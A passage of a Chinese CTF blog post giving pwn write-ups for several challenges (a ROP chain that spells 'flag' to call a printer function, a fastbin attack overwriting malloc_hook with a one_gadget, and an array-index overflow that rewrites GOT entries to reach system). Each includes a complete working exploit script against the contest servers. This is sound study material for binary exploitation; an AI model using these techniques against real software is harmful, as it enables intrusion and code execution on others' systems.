  • 我们发现 elf 中还有一个 Function 函数,里面调用了 printer 函数:

    image

  • 我们看 libc 中的 printer,参数为 打开文件的字符串的地址,可以将文件内的内容输出出来:

    image

  • 那么我们可以想办法凑齐字符串 'flag',让 rdi 指向字符串,然后调用 printer。我们发现 Function 函数的下方有一些 fungadgets:

    image

  • 问一问 AI,第二段 pop rdx; pop rcx; add rcx,0D093h; bextr rbx,rcx,rdx; retn 是将 rcx 从第 dl 位开始,取出共 dh 位,存在 rbx 中。

  • 第一段 xlat; retn 可以类比为 al = [rbx+al] 将 [bx+al] 中的值取出,存在 al 中。

  • 第三段 stosb; retn 可以类比为 [rdi] = bl; rdi += 1 将 bl 写入 rdi 指向的内存中,将 rdi+1。

  • 那么我们可以先用第二段将字符 'f' 的地址 - al 后的值,存在 bx 中;再用第一段将 'f' 字符取出存在 al 中;最后用第三段将 'f' 写入 [rdi] 中。那么我们就可以往 [rdi] 中写入 'flag\x00',就可以调用 printer 来输出 flag 文件中的内容了:

    py = b'a'*0x20 + b'A'*0x08
    py += pad64(pop_rdi_ret,bss_addr)
    py += pad64(pdx_pcx_acx_sbx_r,my_rdi,f_addr << 16,set_al,in_rdi)
    py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(l_addr-ord('f')) << 16,set_al,in_rdi)
    py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(a_addr-ord('l')) << 16,set_al,in_rdi)
    py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(g_addr-ord('a')) << 16,set_al,in_rdi)
    py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(zero_addr-ord('g')) << 16,set_al,in_rdi)
    py += pad64(pop_rdi_ret,bss_addr)
    py += p64(printer_plt)
    print(hex(len(py)))
    sla(b'>\n',py)
    
  • 输出 payload 长度,发现没有超过 0x200 可以使用。

  • 完整 exp:

    from Crypto.Util.number import long_to_bytes
    from ShallowDreamTools import *
    Pwn.init(Url="125.70.243.22:31959",File="./attachment",Libc="./lib2shell.so",log_level="INFO")
    function_addr = 0x400635
    printer_plt = 0x400647
    pop_rdi_ret = 0x0400661
    ret = 0x0400462
    Pwn.connect()
    
    # py = b'DDDDDDDD'+b'%8$p'  # 8
    py = b'%13$p'
    s(py)
    
    ru(b'0x')
    v5 = int(rud(b'[!]')[:-8],16)
    print(hex(v5))
    ans = ((v5>>24)&0xff) + (((v5>>16)&0xff)<<8) + (((v5>>8)&0xff)<<16) + ((v5&0xff)<<24)
    ans = long_to_bytes(ans)[::-1] * 2
    s(ans)
    
    sl(b'1')
    sl(b'1')
    
    f_addr = 0x40023F
    l_addr = 0x40022B
    a_addr = 0x400206
    g_addr = 0x40022D
    zero_addr = 0x40026D
    pdx_pcx_acx_sbx_r = 0x400650
    set_al = 0x40064E
    in_rdi = 0x40065F
    bss_addr = 0x600500
    my_rdi = (32<<8) + 16
    
    py = b'a'*0x20 + b'A'*0x08
    py += pad64(pop_rdi_ret,bss_addr)
    py += pad64(pdx_pcx_acx_sbx_r,my_rdi,f_addr << 16,set_al,in_rdi)
    py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(l_addr-ord('f')) << 16,set_al,in_rdi)
    py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(a_addr-ord('l')) << 16,set_al,in_rdi)
    py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(g_addr-ord('a')) << 16,set_al,in_rdi)
    py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(zero_addr-ord('g')) << 16,set_al,in_rdi)
    py += pad64(pop_rdi_ret,bss_addr)
    py += p64(printer_plt)
    print(hex(len(py)))
    sla(b'>\n',py)
    
    ita()
    


6※ vtable_hijack

  • 考点:fastbin attack

  • checksec 检查保护,没开 PIE,其他都开:

    image

  • strings 检查 glibc 版本,发现是 glibc 2.35,没有 tcache:

    image

  • IDA64 分析,菜单题 Add,Del,Edit,Show 功能都有:

    image

  • Add 中申请无限制:

    image

  • Del 中没用清空指针,存在 UAF 漏洞:

    image

  • Edit 中没检查长度,存在堆溢出:

    image

  • 那么我们可以用 unsortedbin 泄露 libc,用 fastbin attack 修改 malloc_hook 为 one_gadget 即可。

  • 完整 exp:

    from ShallowDreamTools import *
    Pwn.init(Url="125.70.243.22:31875",File="Pwn",Libc="libc.so.6",Ld="ld-linux-x86-64.so.2")
    Pwn.connect()
    def cmd(idx):
    	sla(b'choice:\n',idx)
    def Add(idx,size):
    	cmd(b'1')
    	sla(b'index:\n',str(idx).encode())
    	sla(b'size:\n',str(size).encode())
    def Del(idx):
    	cmd(b'2')
    	sla(b'index:\n',str(idx).encode())
    def Edit(idx,content):
    	cmd(b'3')
    	sla(b'index:\n',str(idx).encode())
    	sla(b'length:\n',str(len(content)).encode())
    	sa(b'content:\n',content)
    def Show(idx):
    	cmd(b'4')
    	sla(b'index:\n',str(idx).encode())
    
    Add(0,0x100)
    Add(1,0x60)
    Add(2,0x60)
    
    Del(1)
    Del(2)
    
    Del(0)
    Show(0)     # 泄露 libc
    # Pwn.db()
    delta = 0x7f0197e92538 - 0x7f0197b17000
    libc_base = u64(Pwn.p.recv(6).ljust(8,b'\x00')) - Pwn.libc.symbols["__libc_start_main"] - delta
    malloc_hook = libc_base + Pwn.libc.symbols["__malloc_hook"]
    one_gadget = [libc_base + x for x in [0x3f3e6,0x3f43a,0xd5c07]]
    leak("libc_base",libc_base)
    leak("malloc_hook",malloc_hook)
    print([hex(x) for x in one_gadget])
    
    Edit(2,p64(malloc_hook-0x23))   # 修改为 malloc_hook 的前来伪装堆
    Add(3,0x60)
    Add(4,0x60)
    
    py = b'a'*0x13 + p64(one_gadget[2])
    Edit(4,py)      # 修改 malloc_hook
    
    Add(5,0x40)
    ita()
    


4※ beverage store

  • 考点:数组下标溢出

  • checksec 检查保护,没开 PIE,got 表可改:

    image

  • IDA64 分析,需要先输入一个数字等于随机数 来验证 VIP:

    image

  • 我们发现 buf 可以输入 0x10 的长度,但这是个 int 只有 0x08,在全局变量发现其下方就是种子 seed:

    image

  • 那么我们可以溢出 seed 为我们可控的值,然后就可以生成相同的随机数绕过了:

    sa(b'input yours id\n',b'a'*0x10)
    Pwn.libclib.srand(bytes_to_long(b'a'*8))
    v2 = Pwn.libclib.rand(0)
    sla(b'Input yours id authentication code:\n',str(v2).encode())
    
  • 接着执行 buy 函数,在里面存在数组下标溢出:

    image

  • 我们发现 section 上方一段距离可以看到 got 表,我们可以通过 section[16 * v0] 读入 0x10 的数据来修改 got 表:

    image

  • 由于一次只能修改两个地址,我们先将 exit 的 got 表改为 buy 函数的地址,让我们可以多次泄露和修改:

    sla(b'1 juice\n2 coffe\n3 milk tea\n4 wine\n',b'-4')
    s(p64(buy_addr))
    
  • 然后泄露 libc,需要注意的是 section 地址末尾是 0,而输入的其实位置是 section[16 * v0] 末位也是 0,并且 read 一定会读入至少一个字节,我们没办法将其直接指向 puts 的来泄露 puts 的地址,我们指向 -9 的位置把前面填满来输出 puts:

    sla(b'1 juice\n2 coffe\n3 milk tea\n4 wine\n',b'-9')
    s(b'a'*0x10)
    
    ru(b'a'*0x10)
    puts_addr = u64(Pwn.p.recv(6).ljust(8,b'\x00'))
    libc_base = puts_addr - Pwn.libc.symbols["puts"]
    system_addr = libc_base + Pwn.libc.symbols["system"]
    leak("libc_base",libc_base)
    leak("puts_addr",puts_addr)
    leak("system_addr",system_addr)
    
  • 我们在左侧发现有一个 vuln 函数,可以 printf 输出 '/bin/sh',那么我们可以把 printf 的 got 表改为 system,再把 puts 的 got 表改为 vuln 函数,就可以获得权限了:

    sla(b'1 juice\n2 coffe\n3 milk tea\n4 wine\n',b'-7')
    s(p64(system_addr))
    
    sla(b'1 juice\n2 coffe\n3 milk tea\n4 wine\n',b'-8')
    s(p64(vuln_addr))
    


posted @   浅叶梦缘  阅读(142)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
微信分享提示
目录导航
目录导航
Pwn 练习合集
SHCTF 2024
1※ 签个到吧
2※ 指令执行器
3※ No stack overflow2
3※ No stack overflow2 pro
2※ easy_competition
4※ ez_sandbox
3※ ezorw
3※ json_printf
3※ json_stackoverflow
3※ Awakening of SKYNET
4※ TUTo的服务器
5※ fmt_fmt
6※ ez_heap
7※ ez_tcache
HUBUCTF 2024
1※ nc-test
1※ 斯塔克
3※ ShallWeLeak
MoeCTF 2024
2※ leak_sth
GCBCTF 2024
4※ Alpha_Shell
6※ Offensive_Security
6※ vtable_hijack
4※ beverage store
发布于 2024-11-25 23:35